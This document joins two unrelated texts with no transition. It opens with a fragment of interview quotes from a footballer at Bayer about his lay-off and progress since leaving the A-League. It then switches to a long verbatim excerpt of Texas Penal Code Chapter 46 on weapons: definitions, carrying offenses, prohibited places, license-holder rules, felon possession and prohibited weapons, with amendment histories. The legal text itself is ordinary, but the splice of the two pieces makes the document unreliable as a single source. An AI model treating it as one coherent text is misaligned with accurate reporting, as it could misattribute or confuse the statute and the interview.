A good showing in the two friendlies will only help his case for more game time with Bayer but he says his recent lay-off has given him a new perspective on football, and life in general.
“It’s a day to day thing for me,” he said. “I just take it as it comes. I’m just happy to be back. When you miss so much football you really appreciate how much it means to you.
“When I went to Bayer, it was just a totally different way of life. The football is so big, the stadiums, the facilities. When we travel we fly private charter. They give us everything they can to maximise our performance. It’s totally different coming from the A League where I was in a lot of trouble with my first club.
“I’m really happy with how I have progressed, not just in football, but as a person and a human being and I feel like I have gone through a lot of experiences that have helped me. I’ve enjoyed every part of it.
TITLE 10. OFFENSES AGAINST PUBLIC HEALTH, SAFETY, AND MORALS
CHAPTER 46. WEAPONS
Sec. 46.01. DEFINITIONS. In this chapter: (1) "Club" means an instrument that is specially designed, made, or adapted for the purpose of inflicting serious bodily injury or death by striking a person with the instrument, and includes but is not limited to the following: (A) blackjack; (B) nightstick; (C) mace; (D) tomahawk. (2) "Explosive weapon" means any explosive or incendiary bomb, grenade, rocket, or mine, that is designed, made, or adapted for the purpose of inflicting serious bodily injury, death, or substantial property damage, or for the principal purpose of causing such a loud report as to cause undue public alarm or terror, and includes a device designed, made, or adapted for delivery or shooting an explosive weapon. (3) "Firearm" means any device designed, made, or adapted to expel a projectile through a barrel by using the energy generated by an explosion or burning substance or any device readily convertible to that use. Firearm does not include a firearm that may have, as an integral part, a folding knife blade or other characteristics of weapons made illegal by this chapter and that is: (A) an antique or curio firearm manufactured before 1899; or (B) a replica of an antique or curio firearm manufactured before 1899, but only if the replica does not use rim fire or center fire ammunition. (4) "Firearm silencer" means any device designed, made, or adapted to muffle the report of a firearm. (5) "Handgun" means any firearm that is designed, made, or adapted to be fired with one hand. (6) "Location-restricted knife" means a knife with a blade over five and one-half inches. (7) "Knife" means any bladed hand instrument that is capable of inflicting serious bodily injury or death by cutting or stabbing a person with the instrument. (8) "Knuckles" means any instrument that consists of finger rings or guards made of a hard substance and that is designed, made, or adapted for the purpose of inflicting serious bodily injury or death by striking a person with a fist enclosed in the knuckles. (9) "Machine gun" means any firearm that is capable of shooting more than two shots automatically, without manual reloading, by a single function of the trigger. (10) "Short-barrel firearm" means a rifle with a barrel length of less than 16 inches or a shotgun with a barrel length of less than 18 inches, or any weapon made from a shotgun or rifle if, as altered, it has an overall length of less than 26 inches. (11) Repealed by Acts 2017, 85th Leg., R.S., Ch. 324 (S.B. 1488), Sec. 15.002, eff. September 1, 2017. (12) "Armor-piercing ammunition" means handgun ammunition that is designed primarily for the purpose of penetrating metal or body armor and to be used principally in pistols and revolvers. (13) "Hoax bomb" means a device that: (A) reasonably appears to be an explosive or incendiary device; or (B) by its design causes alarm or reaction of any type by an official of a public safety agency or a volunteer agency organized to deal with emergencies. (14) "Chemical dispensing device" means a device, other than a small chemical dispenser sold commercially for personal protection, that is designed, made, or adapted for the purpose of dispensing a substance capable of causing an adverse psychological or physiological effect on a human being.
Text of subdivision effective until April 01, 2019
(15) "Racetrack" has the meaning assigned that term by the Texas Racing Act (Article 179e, Vernon's Texas Civil Statutes).
Text of subdivision effective on April 01, 2019
(15) "Racetrack" has the meaning assigned that term by Section 2021.003(41), Occupations Code. (16) "Zip gun" means a device or combination of devices that was not originally a firearm and is adapted to expel a projectile through a smooth-bore or rifled-bore barrel by using the energy generated by an explosion or burning substance. (17) "Tire deflation device" means a device, including a caltrop or spike strip, that, when driven over, impedes or stops the movement of a wheeled vehicle by puncturing one or more of the vehicle's tires. The term does not include a traffic control device that: (A) is designed to puncture one or more of a vehicle's tires when driven over in a specific direction; and (B) has a clearly visible sign posted in close proximity to the traffic control device that prohibits entry or warns motor vehicle operators of the traffic control device. Text of subdivision as added by Acts 2017, 85th Leg., R.S., Ch. 814 (H.B. 913), Sec. 1
(18) "Improvised explosive device" means a completed and operational bomb designed to cause serious bodily injury, death, or substantial property damage that is fabricated in an improvised manner using nonmilitary components. The term does not include: (A) unassembled components that can be legally purchased and possessed without a license, permit, or other governmental approval; or (B) an exploding target that is used for firearms practice, sold in kit form, and contains the components of a binary explosive. Text of subdivision as added by Acts 2017, 85th Leg., R.S., Ch. 1143 (H.B. 435), Sec. 10
(18) "Volunteer emergency services personnel" includes a volunteer firefighter, an emergency medical services volunteer as defined by Section 773.003, Health and Safety Code, and any individual who, as a volunteer, provides services for the benefit of the general public during emergency situations. The term does not include a peace officer or reserve law enforcement officer, as those terms are defined by Section 1701.001, Occupations Code, who is performing law enforcement duties. Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Amended by Acts 1975, 64th Leg., p. 917, ch. 342, Sec. 13, eff. Sept. 1, 1975; Acts 1983, 68th Leg., p. 2650, ch. 457, Sec. 1, eff. Sept. 1, 1983; Acts 1983, 68th Leg., p. 4830, ch. 852, Sec. 1, eff. Sept. 1, 1983; Acts 1987, 70th Leg., ch. 167, Sec. 5.01(a)(46), eff. Sept. 1, 1987; Acts 1989, 71st Leg., ch. 749, Sec. 1, eff. Sept. 1, 1989; Acts 1991, 72nd Leg., ch. 229, Sec. 1, eff. Sept. 1, 1991; Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994; Acts 1999, 76th Leg., ch. 1445, Sec. 1, eff. Sept. 1, 1999. Amended by: Acts 2007, 80th Leg., R.S., Ch. 921 (H.B. 3167), Sec. 12A.001, eff. September 1, 2007. Acts 2009, 81st Leg., R.S., Ch. 1199 (H.B. 4456), Sec. 1, eff. September 1, 2009. Acts 2011, 82nd Leg., R.S., Ch. 920 (S.B. 1416), Sec. 1, eff. September 1, 2011. Acts 2017, 85th Leg., R.S., Ch. 324 (S.B. 1488), Sec. 15.002, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 814 (H.B. 913), Sec. 1, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 963 (S.B. 1969), Sec. 2.07, eff. April 1, 2019. Acts 2017, 85th Leg., R.S., Ch. 1049 (H.B. 1935), Sec. 3, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 1143 (H.B. 435), Sec. 10, eff. September 1, 2017. Sec. 46.02. UNLAWFUL CARRYING WEAPONS. (a) A person commits an offense if the person: (1) intentionally, knowingly, or recklessly carries on or about his or her person a handgun or club; and (2) is not: (A) on the person's own premises or premises under the person's control; or (B) inside of or directly en route to a motor vehicle or watercraft that is owned by the person or under the person's control. (a-1) A person commits an offense if the person intentionally, knowingly, or recklessly carries on or about his or her person a handgun in a motor vehicle or watercraft that is owned by the person or under the person's control at any time in which: (1) the handgun is in plain view, unless the person is licensed to carry a handgun under Subchapter H, Chapter 411, Government Code, and the handgun is carried in a shoulder or belt holster; or (2) the person is: (A) engaged in criminal activity, other than a Class C misdemeanor that is a violation of a law or ordinance regulating traffic or boating; (B) prohibited by law from possessing a firearm; or (C) a member of a criminal street gang, as defined by Section 71.01. (a-2) For purposes of this section, "premises" includes real property and a recreational vehicle that is being used as living quarters, regardless of whether that use is temporary or permanent. In this subsection, "recreational vehicle" means a motor vehicle primarily designed as temporary living quarters or a vehicle that contains temporary living quarters and is designed to be towed by a motor vehicle. The term includes a travel trailer, camping trailer, truck camper, motor home, and horse trailer with living quarters. (a-3) For purposes of this section, "watercraft" means any boat, motorboat, vessel, or personal watercraft, other than a seaplane on water, used or capable of being used for transportation on water. (a-4) A person commits an offense if the person: (1) intentionally, knowingly, or recklessly carries on or about his or her person a location-restricted knife; (2) is younger than 18 years of age at the time of the offense; and (3) is not: (A) on the person's own premises or premises under the person's control; (B) inside of or directly en route to a motor vehicle or watercraft that is owned by the person or under the person's control; or (C) under the direct supervision of a parent or legal guardian of the person. (b) Except as provided by Subsection (c) or (d), an offense under this section is a Class A misdemeanor. (c) An offense under this section is a felony of the third degree if the offense is committed on any premises licensed or issued a permit by this state for the sale of alcoholic beverages. (d) An offense under Subsection (a-4) is a Class C misdemeanor. Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Amended by Acts 1975, 64th Leg., p. 109, ch. 49, Sec. 1, eff. April 15, 1975; Acts 1975, 64th Leg., p. 918, ch. 342, Sec. 14, eff. Sept. 1, 1975; Acts 1975, 64th Leg., p. 1330, ch. 494, Sec. 2, eff. June 19, 1975; Acts 1977, 65th Leg., p. 1879, ch. 746, Sec. 26, eff. Aug. 29, 1977; Acts 1981, 67th Leg., p. 2273, ch. 552, Sec. 1, eff. Aug. 31, 1981; Acts 1983, 68th Leg., p. 5113, ch. 931, Sec. 1, eff. Aug. 29, 1983; Acts 1987, 70th Leg., ch. 262, Sec. 21, eff. Sept. 1, 1987; Acts 1987, 70th Leg., ch. 873, Sec. 25, eff. Sept. 1, 1987; Acts 1991, 72nd Leg., ch. 168, Sec. 1, eff. Sept. 1, 1991. Redesignated from Penal Code Sec. 46.02, 46.03 and amended by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Amended by Acts 1995, 74th Leg., ch. 229, Sec. 2, eff. Sept. 1, 1995; Acts 1995, 74th Leg., ch. 318, Sec. 16, eff. Sept. 1, 1995; Acts 1995, 74th Leg., ch. 754, Sec. 15, eff. Sept. 1, 1995; Acts 1995, 74th Leg., ch. 790, Sec. 16, eff. Sept. 1, 1995; Acts 1995, 74th Leg., ch. 998, Sec. 3, eff. Sept. 1, 1995; Acts 1997, 75th Leg., ch. 165, Sec. 10.02, eff. Sept. 1, 1997; Acts 1997, 75th Leg., ch. 1221, Sec. 1, eff. June 20, 1997; Acts 1997, 75th Leg., ch. 1261, Sec. 24, eff. Sept. 1, 1997. Amended by: Acts 2007, 80th Leg., R.S., Ch. 693 (H.B. 1815), Sec. 1, eff. September 1, 2007. Acts 2011, 82nd Leg., R.S., Ch. 679 (H.B. 25), Sec. 1, eff. September 1, 2011. Acts 2015, 84th Leg., R.S., Ch. 437 (H.B. 910), Sec. 45, eff. January 1, 2016. Acts 2017, 85th Leg., R.S., Ch. 1049 (H.B. 1935), Sec. 4, eff. September 1, 2017. Sec. 46.03. PLACES WEAPONS PROHIBITED. (a) A person commits an offense if the person intentionally, knowingly, or recklessly possesses or goes with a firearm, location-restricted knife, club, or prohibited weapon listed in Section 46.05(a): (1) on the physical premises of a school or educational institution, any grounds or building on which an activity sponsored by a school or educational institution is being conducted, or a passenger transportation vehicle of a school or educational institution, whether the school or educational institution is public or private, unless: (A) pursuant to written regulations or written authorization of the institution; or (B) the person possesses or goes with a concealed handgun that the person is licensed to carry under Subchapter H, Chapter 411, Government Code, and no other weapon to which this section applies, on the premises of an institution of higher education or private or independent institution of higher education, on any grounds or building on which an activity sponsored by the institution is being conducted, or in a passenger transportation vehicle of the institution; (2) on the premises of a polling place on the day of an election or while early voting is in progress; (3) on the premises of any government court or offices utilized by the court, unless pursuant to written regulations or written authorization of the court; (4) on the premises of a racetrack; (5) in or into a secured area of an airport; or (6) within 1,000 feet of premises the location of which is designated by the Texas Department of Criminal Justice as a place of execution under Article 43.19, Code of Criminal Procedure, on a day that a sentence of death is set to be imposed on the designated premises and the person received notice that: (A) going within 1,000 feet of the premises with a weapon listed under this subsection was prohibited; or (B) possessing a weapon listed under this subsection within 1,000 feet of the premises was prohibited. (a-1) A person commits an offense if the person intentionally, knowingly, or recklessly possesses or goes with a location-restricted knife: (1) on the premises of a business that has a permit or license issued under Chapter 25, 28, 32, 69, or 74, Alcoholic Beverage Code, if the business derives 51 percent or more of its income from the sale or service of alcoholic beverages for on-premises consumption, as determined by the Texas Alcoholic Beverage Commission under Section 104.06, Alcoholic Beverage Code; (2) on the premises where a high school, collegiate, or professional sporting event or interscholastic event is taking place, unless the person is a participant in the event and a location-restricted knife is used in the event; (3) on the premises of a correctional facility; (4) on the premises of a hospital licensed under Chapter 241, Health and Safety Code, or on the premises of a nursing facility licensed under Chapter 242, Health and Safety Code, unless the person has written authorization of the hospital or nursing facility administration, as appropriate; (5) on the premises of a mental hospital, as defined by Section 571.003, Health and Safety Code, unless the person has written authorization of the mental hospital administration; (6) in an amusement park; or (7) on the premises of a church, synagogue, or other established place of religious worship. (b) It is a defense to prosecution under Subsections (a)(1)-(4) that the actor possessed a firearm while in the actual discharge of his official duties as a member of the armed forces or national guard or a guard employed by a penal institution, or an officer of the court. (c) In this section: (1) "Institution of higher education" and "private or independent institution of higher education" have the meanings assigned by Section 61.003, Education Code. (2) "Amusement park" and "premises" have the meanings assigned by Section 46.035. (3) "Secured area" means an area of an airport terminal building to which access is controlled by the inspection of persons and property under federal law. (d) It is a defense to prosecution under Subsection (a)(5) that the actor possessed a firearm or club while traveling to or from the actor's place of assignment or in the actual discharge of duties as: (1) a member of the armed forces or national guard; (2) a guard employed by a penal institution; or (3) a security officer commissioned by the Texas Private Security Board if: (A) the actor is wearing a distinctive uniform; and (B) the firearm or club is in plain view; or (4) a security officer who holds a personal protection authorization under Chapter 1702, Occupations Code, provided that the officer is either: (A) wearing the uniform of a security officer, including any uniform or apparel described by Section 1702.323(d), Occupations Code, and carrying the officer's firearm in plain view; or (B) not wearing the uniform of a security officer and carrying the officer's firearm in a concealed manner. (e) It is a defense to prosecution under Subsection (a)(5) that the actor checked all firearms as baggage in accordance with federal or state law or regulations before entering a secured area. (e-1) It is a defense to prosecution under Subsection (a)(5) that the actor: (1) possessed, at the screening checkpoint for the secured area, a concealed handgun that the actor was licensed to carry under Subchapter H, Chapter 411, Government Code; and (2) exited the screening checkpoint for the secured area immediately upon completion of the required screening processes and notification that the actor possessed the handgun. (e-2) A peace officer investigating conduct that may constitute an offense under Subsection (a)(5) and that consists only of an actor's possession of a concealed handgun that the actor is licensed to carry under Subchapter H, Chapter 411, Government Code, may not arrest the actor for the offense unless: (1) the officer advises the actor of the defense available under Subsection (e-1) and gives the actor an opportunity to exit the screening checkpoint for the secured area; and (2) the actor does not immediately exit the checkpoint upon completion of the required screening processes. (f) Except as provided by Subsection (e-1), it is not a defense to prosecution under this section that the actor possessed a handgun and was licensed to carry a handgun under Subchapter H, Chapter 411, Government Code. (g) Except as provided by Subsection (g-1), an offense under this section is a felony of the third degree. (g-1) If the weapon that is the subject of the offense is a location-restricted knife, an offense under this section is a Class C misdemeanor, except that the offense is a felony of the third degree if the offense is committed under Subsection (a)(1). (h) It is a defense to prosecution under Subsection (a)(4) that the actor possessed a firearm or club while traveling to or from the actor's place of assignment or in the actual discharge of duties as a security officer commissioned by the Texas Board of Private Investigators and Private Security Agencies, if: (1) the actor is wearing a distinctive uniform; and (2) the firearm or club is in plain view. (i) It is an exception to the application of Subsection (a)(6) that the actor possessed a firearm or club: (1) while in a vehicle being driven on a public road; or (2) at the actor's residence or place of employment. Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Amended by Acts 1983, 68th Leg., p. 2962, ch. 508, Sec. 1, eff. Aug. 29, 1983; Acts 1989, 71st Leg., ch. 749, Sec. 2, eff. Sept. 1, 1989; Acts 1991, 72nd Leg., ch. 203, Sec. 2.79; Acts 1991, 72nd Leg., ch. 386, Sec. 71, eff. Aug. 26, 1991; Acts 1991, 72nd Leg., ch. 433, Sec. 1, eff. Sept. 1, 1991; Acts 1991, 72nd Leg., ch. 554, Sec. 50, eff. Sept. 1, 1991. Renumbered from Penal Code Sec. 46.04 and amended by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Amended by Acts 1995, 74th Leg., ch. 229, Sec. 3, eff. Sept. 1, 1995; Acts 1995, 74th Leg., ch. 260, Sec. 42, eff. May 30, 1995; Acts 1995, 74th Leg., ch. 318, Sec. 17, eff. Sept. 1, 1995; Acts 1995, 74th Leg., ch. 790, Sec. 17, eff. Sept. 1, 1995; Acts 1997, 75th Leg., ch. 165, Sec. 10.03, 31.01(70), eff. Sept. 1, 1997; Acts 1997, 75th Leg., ch. 1043, Sec. 1, eff. Sept. 1, 1997; Acts 1997, 75th Leg., ch. 1221, Sec. 2, 3, eff. June 20, 1997; Acts 1997, 75th Leg., ch. 1261, Sec. 25, eff. Sept. 1, 1997; Acts 2001, 77th Leg., ch. 1060, Sec. 1, 2 eff. Sept. 1, 2001; Acts 2003, 78th Leg., ch. 1178, Sec. 3, eff. Sept. 1, 2003. Amended by: Acts 2009, 81st Leg., R.S., Ch. 1146 (H.B. 2730), Sec. 4B.21, eff. September 1, 2009. Acts 2015, 84th Leg., R.S., Ch. 437 (H.B. 910), Sec. 46, eff. January 1, 2016. Acts 2015, 84th Leg., R.S., Ch. 438 (S.B. 11), Sec. 3, eff. August 1, 2016. Acts 2015, 84th Leg., R.S., Ch. 1001 (H.B. 554), Sec. 1, eff. September 1, 2015. Acts 2017, 85th Leg., R.S., Ch. 324 (S.B. 1488), Sec. 15.003, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 1049 (H.B. 1935), Sec. 5, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 1049 (H.B. 1935), Sec. 6, eff. September 1, 2017. Sec. 46.035. UNLAWFUL CARRYING OF HANDGUN BY LICENSE HOLDER. (a) A license holder commits an offense if the license holder carries a handgun on or about the license holder's person under the authority of Subchapter H, Chapter 411, Government Code, and intentionally displays the handgun in plain view of another person in a public place. It is an exception to the application of this subsection that the handgun was partially or wholly visible but was carried in a shoulder or belt holster by the license holder. Text of subsection as added by Acts 2015, 84th Leg., R.S., Ch. 437 (H.B. 910), Sec. 47
(a-1) Notwithstanding Subsection (a), a license holder commits an offense if the license holder carries a partially or wholly visible handgun, regardless of whether the handgun is holstered, on or about the license holder's person under the authority of Subchapter H, Chapter 411, Government Code, and intentionally displays the handgun in plain view of another person: (1) on the premises of an institution of higher education or private or independent institution of higher education; or (2) on any public or private driveway, street, sidewalk or walkway, parking lot, parking garage, or other parking area of an institution of higher education or private or independent institution of higher education. Text of subsection as added by Acts 2015, 84th Leg., R.S., Ch. 438 (S.B. 11), Sec. 4
(a-1) Notwithstanding Subsection (a), a license holder commits an offense if the license holder carries a partially or wholly visible handgun, regardless of whether the handgun is holstered, on or about the license holder's person under the authority of Subchapter H, Chapter 411, Government Code, and intentionally or knowingly displays the handgun in plain view of another person: (1) on the premises of an institution of higher education or private or independent institution of higher education; or (2) on any public or private driveway, street, sidewalk or walkway, parking lot, parking garage, or other parking area of an institution of higher education or private or independent institution of higher education. (a-2) Notwithstanding Subsection (a) or Section 46.03(a), a license holder commits an offense if the license holder carries a handgun on the campus of a private or independent institution of higher education in this state that has established rules, regulations, or other provisions prohibiting license holders from carrying handguns pursuant to Section 411.2031(e), Government Code, or on the grounds or building on which an activity sponsored by such an institution is being conducted, or in a passenger transportation vehicle of such an institution, regardless of whether the handgun is concealed, provided the institution gives effective notice under Section 30.06. (a-3) Notwithstanding Subsection (a) or Section 46.03(a), a license holder commits an offense if the license holder intentionally carries a concealed handgun on a portion of a premises located on the campus of an institution of higher education in this state on which the carrying of a concealed handgun is prohibited by rules, regulations, or other provisions established under Section 411.2031(d-1), Government Code, provided the institution gives effective notice under Section 30.06 with respect to that portion. (b) A license holder commits an offense if the license holder intentionally, knowingly, or recklessly carries a handgun under the authority of Subchapter H, Chapter 411, Government Code, regardless of whether the handgun is concealed or carried in a shoulder or belt holster, on or about the license holder's person: (1) on the premises of a business that has a permit or license issued under Chapter 25, 28, 32, 69, or 74, Alcoholic Beverage Code, if the business derives 51 percent or more of its income from the sale or service of alcoholic beverages for on-premises consumption, as determined by the Texas Alcoholic Beverage Commission under Section 104.06, Alcoholic Beverage Code; (2) on the premises where a high school, collegiate, or professional sporting event or interscholastic event is taking place, unless the license holder is a participant in the event and a handgun is used in the event; (3) on the premises of a correctional facility; (4) on the premises of a hospital licensed under Chapter 241, Health and Safety Code, or on the premises of a nursing facility licensed under Chapter 242, Health and Safety Code, unless the license holder has written authorization of the hospital or nursing facility administration, as appropriate; (5) in an amusement park; (6) on the premises of a church, synagogue, or other established place of religious worship; or (7) on the premises of a civil commitment facility. (c) A license holder commits an offense if the license holder intentionally, knowingly, or recklessly carries a handgun under the authority of Subchapter H, Chapter 411, Government Code, regardless of whether the handgun is concealed or carried in a shoulder or belt holster, in the room or rooms where a meeting of a governmental entity is held and if the meeting is an open meeting subject to Chapter 551, Government Code, and the entity provided notice as required by that chapter. (d) A license holder commits an offense if, while intoxicated, the license holder carries a handgun under the authority of Subchapter H, Chapter 411, Government Code, regardless of whether the handgun is concealed or carried in a shoulder or belt holster. (e) A license holder who is licensed as a security officer under Chapter 1702, Occupations Code, and employed as a security officer commits an offense if, while in the course and scope of the security officer's employment, the security officer violates a provision of Subchapter H, Chapter 411, Government Code. (f) In this section: (1) "Amusement park" means a permanent indoor or outdoor facility or park where amusement rides are available for use by the public that is located in a county with a population of more than one million, encompasses at least 75 acres in surface area, is enclosed with access only through controlled entries, is open for operation more than 120 days in each calendar year, and has security guards on the premises at all times. The term does not include any public or private driveway, street, sidewalk or walkway, parking lot, parking garage, or other parking area. (1-a) "Institution of higher education" and "private or independent institution of higher education" have the meanings assigned by Section 61.003, Education Code. (2) "License holder" means a person licensed to carry a handgun under Subchapter H, Chapter 411, Government Code. (3) "Premises" means a building or a portion of a building. The term does not include any public or private driveway, street, sidewalk or walkway, parking lot, parking garage, or other parking area. (g) An offense under this section is a Class A misdemeanor, unless the offense is committed under Subsection (b)(1) or (b)(3), in which event the offense is a felony of the third degree. (h) It is a defense to prosecution under Subsection (a), (a-1), (a-2), or (a-3) that the actor, at the time of the commission of the offense, displayed the handgun under circumstances in which the actor would have been justified in the use of force or deadly force under Chapter 9. Text of subsection as added by Acts 2007, 80th Leg., R.S., Ch. 1214 (H.B. 1889), Sec. 2
(h-1) It is a defense to prosecution under Subsections (b) and (c) that the actor, at the time of the commission of the offense, was: (1) an active judicial officer, as defined by Section 411.201, Government Code; or (2) a bailiff designated by the active judicial officer and engaged in escorting the officer. Text of subsection as added by Acts 2007, 80th Leg., R.S., Ch. 1222 (H.B. 2300), Sec. 5, and amended by Acts 2017, 85th Leg., R.S., Ch. 1143 (H.B. 435), Sec. 11
(h-1) It is a defense to prosecution under Subsections (b)(1), (2), (4), (5), and (6) and (c) that at the time of the commission of the offense, the actor was: (1) a judge or justice of a federal court; (2) an active judicial officer, as defined by Section 411.201, Government Code; or (3) the attorney general or a United States attorney, assistant United States attorney, assistant attorney general, district attorney, assistant district attorney, criminal district attorney, assistant criminal district attorney, county attorney, or assistant county attorney. (i) Subsections (b)(4), (b)(5), (b)(6), and (c) do not apply if the actor was not given effective notice under Section 30.06 or 30.07. (j) Subsections (a), (a-1), (a-2), (a-3), and (b)(1) do not apply to a historical reenactment performed in compliance with the rules of the Texas Alcoholic Beverage Commission. (k) It is a defense to prosecution under Subsection (b)(1) that the actor was not given effective notice under Section 411.204, Government Code. (l) Subsection (b)(2) does not apply on the premises where a collegiate sporting event is taking place if the actor was not given effective notice under Section 30.06. (m) It is a defense to prosecution under Subsections (b) and (c) that the actor is volunteer emergency services personnel engaged in providing emergency services. Added by Acts 1995, 74th Leg., ch. 229, Sec. 4, eff. Sept. 1, 1995. Amended by Acts 1997, 75th Leg., ch. 165, Sec. 10.04, eff. Sept. 1, 1997; Acts 1997, 75th Leg., ch. 1261, Sec. 26, 27, eff. Sept. 1, 1997; Acts 2001, 77th Leg., ch. 1420, Sec. 14.833, eff. Sept. 1, 2001. Amended by: Acts 2005, 79th Leg., Ch. 976 (H.B. 1813), Sec. 3, eff. September 1, 2005. Acts 2007, 80th Leg., R.S., Ch. 1214 (H.B. 1889), Sec. 2, eff. June 15, 2007. Acts 2007, 80th Leg., R.S., Ch. 1222 (H.B. 2300), Sec. 5, eff. June 15, 2007. Acts 2009, 81st Leg., R.S., Ch. 687 (H.B. 2664), Sec. 1, eff. September 1, 2009. Acts 2013, 83rd Leg., R.S., Ch. 72 (S.B. 299), Sec. 1, eff. September 1, 2013. Acts 2015, 84th Leg., R.S., Ch. 437 (H.B. 910), Sec. 47, eff. January 1, 2016. Acts 2015, 84th Leg., R.S., Ch. 437 (H.B. 910), Sec. 48, eff. January 1, 2016. Acts 2015, 84th Leg., R.S., Ch. 438 (S.B. 11), Sec. 4, eff. August 1, 2016. Acts 2015, 84th Leg., R.S., Ch. 438 (S.B. 11), Sec. 5, eff. August 1, 2016. Acts 2015, 84th Leg., R.S., Ch. 593 (S.B. 273), Sec. 2, eff. September 1, 2015. Acts 2017, 85th Leg., R.S., Ch. 34 (S.B. 1576), Sec. 32, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 324 (S.B. 1488), Sec. 15.004, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 324 (S.B. 1488), Sec. 15.005, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 1143 (H.B. 435), Sec. 11, eff. September 1, 2017. Acts 2017, 85th Leg., R.S., Ch. 1143 (H.B. 435), Sec. 12, eff. September 1, 2017. Sec. 46.04. UNLAWFUL POSSESSION OF FIREARM. (a) A person who has been convicted of a felony commits an offense if he possesses a firearm: (1) after conviction and before the fifth anniversary of the person's release from confinement following conviction of the felony or the person's release from supervision under community supervision, parole, or mandatory supervision, whichever date is later; or (2) after the period described by Subdivision (1), at any location other than the premises at which the person lives. (b) A person who has been convicted of an offense under Section 22.01, punishable as a Class A misdemeanor and involving a member of the person's family or household, commits an offense if the person possesses a firearm before the fifth anniversary of the later of: (1) the date of the person's release from confinement following conviction of the misdemeanor; or (2) the date of the person's release from community supervision following conviction of the misdemeanor. (c) A person, other than a peace officer, as defined by Section 1.07, actively engaged in employment as a sworn, full-time paid employee of a state agency or political subdivision, who is subject to an order issued under Section 6.504 or Chapter 85, Family Code, under Article 17.292 or Chapter 7A, Code of Criminal Procedure, or by another jurisdiction as provided by Chapter 88, Family Code, commits an offense if the person possesses a firearm after receiving notice of the order and before expiration of the order. (d) In this section, "family," "household," and "member of a household" have the meanings assigned by Chapter 71, Family Code. (e) An offense under Subsection (a) is a felony of the third degree. An offense under Subsection (b) or (c) is a Class A misdemeanor. (f) For the purposes of this section, an offense under the laws of this state, another state, or the United States is, except as provided by Subsection (g), a felony if, at the time it is committed, the offense: (1) is designated by a law of this state as a felony; (2) contains all the elements of an offense designated by a law of this state as a felony; or (3) is punishable by confinement for one year or more in a penitentiary. (g) An offense is not considered a felony for purposes of Subsection (f) if, at the time the person possesses a firearm, the offense: (1) is not designated by a law of this state as a felony; and (2) does not contain all the elements of any offense designated by a law of this state as a felony. Acts 1973, 63rd Leg., p. 883, ch. 399, Sec. 1, eff. Jan. 1, 1974. Renumbered from Penal Code Sec. 46.05 and amended by Acts 1993, 73rd Leg., ch. 900, Sec. 1.01, eff. Sept. 1, 1994. Amended by Acts 2001, 77th Leg., ch. 23, Sec. 2, eff. Sept. 1, 2001; Acts 2003, 78th Leg., ch. 836, Sec. 4, eff. Sept. 1, 2003. Amended by: Acts 2009, 81st Leg., R.S., Ch. 1146 (H.B. 2730), Sec. 11.24, eff. September 1, 2009. Sec. 46.041. UNLAWFUL POSSESSION OF METAL OR BODY ARMOR BY FELON. (a) In this section, "metal or body armor" means any body covering manifestly designed, made, or adapted for the purpose of protecting a person against gunfire. (b) A person who has been convicted of a felony commits an offense if after the conviction the person possesses metal or body armor. (c) An offense under this section is a felony of the third degree. Added by Acts 2001, 77th Leg., ch. 452, Sec. 1, eff. Sept. 1, 2001. Sec. 46.05. PROHIBITED WEAPONS. Text of subsection as amended by Acts 2017, 85th Leg., R.S., Ch. 155 (H.B. 1819), Sec. 1
(a) A person commits an offense if the person intentionally or knowingly possesses, manufactures, transports, repairs, or sells: (1) any of the following items, unless the item is registered in the National Firearms Registration and Transfer Record maintained by the Bureau of Alcohol, Tobacco, Firearms and Explosives or otherwise not subject to that registration requirement or unless the item is classified as a curio or relic by the United States Department of Justice: (A) an explosive weapon; (B) a machine gun; or (C) a short-barrel firearm; (2) knuckles; (3) armor-piercing ammunition; (4) a chemical dispensing device; (5) a zip gun; (6) a tire deflation device; or (7) a firearm silencer, unless the firearm silencer is classified as a curio or relic by the United States Department of Justice or the actor otherwise possesses, manufactures, transports, repairs, or sells the firearm silencer in compliance with federal law. Text of subsection as amended by Acts 2017, 85th Leg., R.S., Ch. 814 (H.B. 913), Sec. 2
(a) A person commits an offense if the person intentionally or knowingly possesses, manufactures, transports, repairs, or sells: (1) any of the following items, unless the item is registered in the National Firearms Registration and Transfer Record maintained by the Bureau of Alcohol, Tobacco, Firearms and Explosives or classified as a curio or relic by the United States Department of Justice: (A) an explosive weapon; (B) a machine gun; (C) a short-barrel firearm; or (D) a firearm silencer; (2) knuckles; (3) armor-piercing ammunition; (4) a chemical dispensing device; (5) a zip gun; (6) a tire deflation device; or (7) an improvised explosive device. (b) It is a defense to prosecution under this section that the actor's conduct was incidental to the performance of official duty by the armed forces or national guard, a governmental law enforcement agency, or a correctional facility. (c) Repealed by Acts 2015, 84th Leg., R.S., Ch. 69 , Sec. 2, eff. September 1, 2015. (d) It is an affirmative defense to prosecution under this section that the actor's conduct: (1) was incidental to dealing with a short-barrel firearm or tire deflation device solely as an antique or curio; (2) was incidental to dealing with armor-piercing ammunition solely for the purpose of making the ammunition available to an organization, agency, or institution listed in Subsection (b); or (3) was incidental to dealing with a tire deflation device solely for the purpose of making the device available to an organization, agency, or institution listed in Subsection (b). Text of subsection as amended by Acts 2017, 85th Leg., R.S., Ch. 155 (H.B. 1819), Sec. 1
(e) An offense under Subsection (a)(1), (3), (4), (5), or (7) is a felony of the third degree. An offense under Subsection (a)(6) is a state jail felony. An offense under Subsection (a)(2) is a Class A misdemeanor. Text of subsection as amended by Acts 2017, 85th Leg., R.S., Ch. 814 (H.B. 913), Sec. 2
